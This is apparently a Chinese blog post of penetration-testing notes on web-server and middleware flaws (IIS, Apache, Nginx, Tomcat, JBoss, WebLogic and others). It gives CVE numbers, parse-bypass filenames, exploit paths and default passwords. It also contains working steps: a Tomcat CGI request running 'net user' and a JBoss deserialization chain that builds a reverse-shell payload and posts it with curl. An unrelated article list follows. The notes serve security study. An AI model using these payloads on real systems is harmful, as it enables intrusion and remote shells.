之前看吐司别人发的个文档,简单记的笔记
-----
IIS
    解析漏洞
       IIS 6
           *.asp;.jpg会被当作asp解析
           *.asp/目录下的文件会被当作asp解析
           asa cdx cer后缀也会被当作asp解析
       IIS 7
           在Fast-CGI时,test.jpg在url后加/.php即可解析成php文件
    PUT任意文件写入
       开启了WebDAV并允许写入
    IIS短文件漏洞
    CVE-2017-7269
       2003 r2 IIS 6 开启WebDAV

Apache
    解析漏洞
       未知扩展名解析漏洞
           1.php.xxx
       AddHandler导致的解析漏洞
           如果有"AddHandler application/x-httpd-php .php",只要有.php后缀即可a.php.jpg
       HTTPD换行解析漏洞 CVE-2017-15715
           影响2.4.0-2.4.29
           上传时文件名为phpinfo.php换行符,访问/phpinfo.php%0a

Nginx
    Nginx配置文件错误导致的解析漏洞
       info.jpg/1.php
    Nginx空字节任意代码执行漏洞 0.5 0.6 0.7-0.7.65 0.8-0.8.37
       webshell名为a.jpg 访问a.jpg空字节.php
    Nginx文件名逻辑漏洞 0.8.41-1.4.3 1.5.0-1.5.7
       上传时为a.jpg空格,访问a.jpg空格空字节.php
    Nginx配置错误导致的安全问题
       目录穿越
           在配置别名时,忘记加/   访问/files../
location /files {
   autoindex on;
   alias c:/WWW/home/;
}
        目录遍历 autoindex 为on

Tomcat
    任意文件写入CVE-2017-12615
       conf/web.xml配置了readonly=false,可以往服务器PUT文件
    Tomcat远程代码执行 CVE-2019-0232
       9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
随意上传lxhsec.bat
 
http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user
   Tomcat + 弱口令 && 后台getshell漏洞
   Tomcat manager App 暴力破解

JBoss 默认端口8080 9990
    JBoss 5/6 反序列化漏洞 CVE-2017-12149
       访问/invoker/readonly 返回500说明存在页面
利用工具:JavaDeserH2HC,我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:
   生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
   生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip)
   利用:
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    JBoss JMXInvokerServlet反序列化漏洞
       /invoker/JMXInvokerServlet
    JBoss EJBInvokerServlet反序列化漏洞
       /invoker/EJBInvokerServlet
    JBoss <=4.x JBossMQ JMS反序列化漏洞 CVE-2017-7504
       /jbossmq-httpil/HTTPServerILServlet
    Administration Console弱口令
       /admin-console/
    JMX Console未授权访问
       /jmx-console/

WebLogic 默认端口7001
    XMLDecoder反序列化漏洞 CVE-2017-10271 & CVE-2017-3506
       /wls-wsat/
    wls9_async_response,wls-wsat反序列化漏洞 CVE-2019-2725
       /_async/
       /wls-wsat/
    WLS Core Components反序列化漏洞 CVE-2018-2628
        通过t3协议触发
    WebLogic任意文件上传漏洞 CVE-2018-2894 10.3.6.0 12.1.3.0, 12.2.1.2, 12.2.1.3
       /ws_utc/config.do
    Weblogic SSRF漏洞 CVE-2014-4210 10.0.2.0, 10.3.6.0
       /uddiexplorer/SearchPublicRegistries.jsp
    Weblogic弱口令后台getshell
       /console

 
GlassFish 默认端口:8080(Web应用端口,即网站内容),4848(GlassFish管理中心)
     GlassFish Directory Traversal(CVE-2017-1000028)    
       %c0%af作为/ 直接访问/META-INF下的敏感文件
    GlassFish 后台Getshell    

 
 
WebSphere
   Java反序列化(CVE-2015-7450)
       访问8880端口
    弱口令后台getshell
       6/7版本,后台只需输入admin,无需密码即可登录 websphere/ websphere system/ manager
 

最新文章

  1. HTML5新增及移除的元素
  2. XML 特殊字符
  3. javascript数据结构与算法--基本排序算法分析
  4. oracle数据库备份
  5. iOS学习之内存管理
  6. 2000多万个微信号被封全面禁止&quot;集赞&quot; 微信雷霆行动这次玩真的
  7. 开源HTML5 Canvas游戏Runtime发布
  8. 计算日期时间 自动加1天 PHP计算闰年 java与PHP时间戳对比区别
  9. Spring 事务中 readOnly 的解释
  10. IOS-将长文字转化成图片方法
  11. OpenStack_Glance
  12. VS2012 发布网站步骤
  13. NET微信公众号开发环境搭建(一)-了解微信由来
  14. 使用PHP实现RSA算法的加密和解密
  15. CentOS7开启防火墙及特定端口
  16. Tomcat使用IDEA远程Debug调试
  17. FireDAC 下的 Sqlite [5] - 数据的插入、更新、删除
  18. windows server 2012将计算机图标添加到桌面
  19. Linux 系统安装配置PHP服务(源码安装)
  20. C++设计模式 之 “状态变化” 模式:State、Memento

热门文章

  1. MapReduce与Yarn 的详细工作流程分析
  2. 色即是空,空即是色---java有关null的几件小事
  3. 如何在 Linux 和 windows 启动使用 Dubbo 和 ZK
  4. 求n以内的质数(质数的定义:在大于1的自然数中,除了1和它本身意外,无法被其他自然数整除的数)
  5. Activity初学乍练
  6. 基于微信小程序云开发实现的婚礼邀请函模板,可自行定制开发
  7. 网络下载器 Internet Download Manager v6.35.5 绿色便携版
  8. [Windows内核分析]KPCR结构体介绍 (CPU控制区 Processor Control Region)
  9. 考试题string——线段树。
  10. DeCantor Expansion (逆康托展开)